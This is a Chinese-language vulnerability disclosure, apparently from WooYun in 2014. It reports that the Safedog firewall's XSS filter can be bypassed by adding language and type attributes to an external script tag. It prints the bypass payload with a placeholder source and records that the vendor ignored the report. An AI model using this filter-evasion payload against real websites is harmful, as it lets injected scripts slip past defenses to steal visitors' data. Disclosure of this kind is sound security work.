XSS安全狗盲打时绕过过滤(牺牲长度限制)

漏洞详情

披露状态:

2014-01-23: 细节已通知厂商并且等待厂商处理中
2014-02-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-04-20: 细节向公众公开

简要描述:

通过增加长度,绕过安全狗XSS过滤提示

详细说明:

XSS插入网站时,经常使用script标签引入外部的JS脚本.

例如:<script src='xxxx'></script>这种已经被无情的过滤

如果此时牺牲长度限制,我们插入如下的script标签,安全狗就不会提示:

<script language="javascript" type="text/javascript" src="xxxx"></script>



漏洞证明:

当给script标签增加language和type属性时,安全狗无拦截,会显示给客户端,证明如下:

1.png





当script标签没有添加多余的属性,则安全狗会拦截:

2.png





所以有的时候,只能牺牲长度限制来达到目的.

修复方案:

你们更专业

版权声明:转载请注明来源 zeuser@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-02 19:40

厂商回复:

最新状态:

暂无


漏洞评价: